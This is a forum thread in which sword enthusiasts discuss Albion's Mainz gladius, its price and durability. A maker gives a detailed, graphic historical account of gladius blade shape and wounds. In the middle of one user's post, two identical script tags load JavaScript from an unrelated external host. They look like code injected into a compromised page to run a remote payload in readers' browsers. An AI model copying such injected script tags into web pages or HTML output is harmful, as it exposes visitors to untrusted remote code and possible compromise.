What are Advantages of the Gladius over other Designs?

GLADIUS VIKINENSIS UT UNUM ET DIMIDIUM MANU

(I just can smell the laurel)

hello, what do you think about the Albions Augustus Mainz Gladius, i want something that is fully functional, i dont want those decorative swords, but a sword that should endure any fihgting situation a gladius in the roman times should.

It's one of the best Gladii that won't snap in half on the market. Windlass aren't historically accurate, and a custom maker would charge way more than the 770 that Albion is asking. It's your decision as to whether they're overpriced or not. Personally I don't think so as hours upon hours goes into research, and the machinery they use to make the swords as good as they are isn't cheap, and they still do lots of hand work on the swords. The 1 year wait time, if anything is a testament to their quality. They also retain value fairly well. Much better than a custom at least. Albion also has a sword care plan available and will even oil and polish your sword 6 times a year for about 100 bucks.

Patrick B Pointer also makes museum copies of gladii but I'm not sure on the pricing. I'm fairly certain most "established" makers like Beem, Kinder or Tinker would charge a lot more than 770. That's really cheap for a custom piece.

Yeah, as a lot of people have differente opinions, some say it its fully functional and the other are like, yeah its a great sword, a great sword makers, but at the end, they do recommend not to use it, so it is the same as buying a decorative, thats where my indecision comes from. and i am gathering lots of opinions from this page. i want something that it wil hit another sword, and it wont brake, obvisly it would take some damage, but that it will endure it.<script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script>

The advantages of the Mainz and Fulham Style Gladii over other swords is an interesting question.  a Well balanced, lightweight swords

The "waisted" or "Wasted" Shape of the blade was done so for a reason. I specialize in making these types of swords for Museums, Archeologists, Historians, Reenactor's and Collectors and try to stay as historically accurate as possible.

The Mainz Gladius for instance ranged from 19 1/2" to over 21 1/2" in blade length. That wide "Conversion" point was set back from the point/tip 6-7" and then "Waisted" or thinned in width before it widened again at the hilt. The same is true about the Fulham.

These blade were indeed made for "Thrusting" and were used coinciding with their Scutum (Shield). The edge of the shield was covered in brass or leather and was used to allow the Gladius to slide against the edge while thrusting. Legionaries would train for 6 months with their sword and shield, learning how to inflict as much damage on the body of their opponent. Ankle, inner calve, inner thigh, groin, abdominal, under ribcage, inner arm or armpit, and neck were their targets. Using the side of the shied to guide the blade up and down when possible.

The Mainz Gladius was 3" wide at the guard. Now, to explain the waisting of the sword and the wide area near the tip. These swords were designed to Kill. Then the point of the sword entered the body, it immediately opened up a hole a minimum of 2 1/2" wide to get it past the conversion point. That is a 2 1/2" minimum hole. However, once it passed the conversion point the Wound would close around the sword vertically as the blade continued entering the body. As the wound clung to the blade it allows the blade wi continue to shred the flesh, veins, vitals, etc. causing more than one cut... actually causing numerous cuts as the flesh kept closing around the blade and the thickness got wider swords the hilt. And slight turning of the blade from 12 o'clock to 3 o'clock would continue the cutting and the shredding of the body. leaving anything from a cut like this l to / to + or from a straight line to a "Plus" sign or "Cross." Now you have a 6" hole with spaghetti shreds. But that same blade, when thrust straight into the body then lifted up or down now easily leaves a wound 9" -14" long and disembowels your enemy.

Though it was made as a thrusting sword, it could also be used to slash, though that was more of a last resort. Josephus and other historians of the day wrote about not only the effectiveness of the sword in battle, but that Rome's enemies never experienced such a weapon on the battlefield before and how a legionary could stab his opponent three or more times with lightening speed causing wounds that would never heal, if in deed they could ever drag themselves off the battlefield. And how this sword could cut a man in two from the neck to the waist leaving the head and one full arm totally severed. Enemies on the battlefields never saw such destruction from a sword, especially a short order sword. Close combat... yes indeed! But stand alone as well.

This is a very wicked sword that Really made the Roman Empire the conquering force that it was for hundreds of years between the Hispaniensis around 200bc-to the Fulham Style the latter part of the first century ad until they converted to the Parallel straight sided double edged sword of the Pompeii style which was soon after changed over to the Spathe in the 2nd-3rd Century ad.

I hope this helps to understand why it was so wide near the tip. Also... the thickness of the blades were around 5.3mm at the hilt with a distal taper to about 3.6mm at the very tip. The tip was thick and strong and on the later Pompeii Blades has an even thicker reinforcement on the tip that was 3/4"-1" long.

The one pictured above is one I created for a client in Australia.  You will notice that it has a more detailed hilt than an Albion. I could sell these type for more but typically this sword would cost you less than the the price of an Augustas.  With custom guard plate.  Although I work mostly with historically accurate pieces, the only ting that isn't absolutely accurate would be the walnut guard and pommel.  Although Walnut could have been a wood used, the majority of pieces found by archeologists, are known to be European Boxwood.  But that type of wood would cause the price on this sword to escalate because of the prices of wood.

In His Service and Yours...
--Patrick

People may just be saying that as it is a very expensive piece. It is absolutely able to take usage and abuse and is a perfectly functional sword.

It will probably hold up better than an original piece would have given the use of modern steel honestly.

Knowing that machines cut the steel - well, a ton of research is done, and lots hand work still required to make them a good sword. The year wait time is a testament to the quality and reputation of Albion swords. I'd say it's worth it and plus you can use that tear of waiting to get your hands on more pieces. Patrick Pointer, the fellow above also makes Gladii but last I remember he does not supply them sharpened.

To be honest I do not care about how a sword was made, as long as it's functional. Albion is function, and makes what are to my knowledge the most accurate reproductions available from production companies.

Edit: here is a video of a YouTube beating the crap out of an Albion sword.

Ditto, but for me it's more that I don't have very much interest in medi stuff. If they made sabres - apart from the 3k plus Vivamus - I'd no doubt stave off a few antique purchases and get a few of them. I've been thinking about their squire line stuff, just because it would be fun to own an Albion.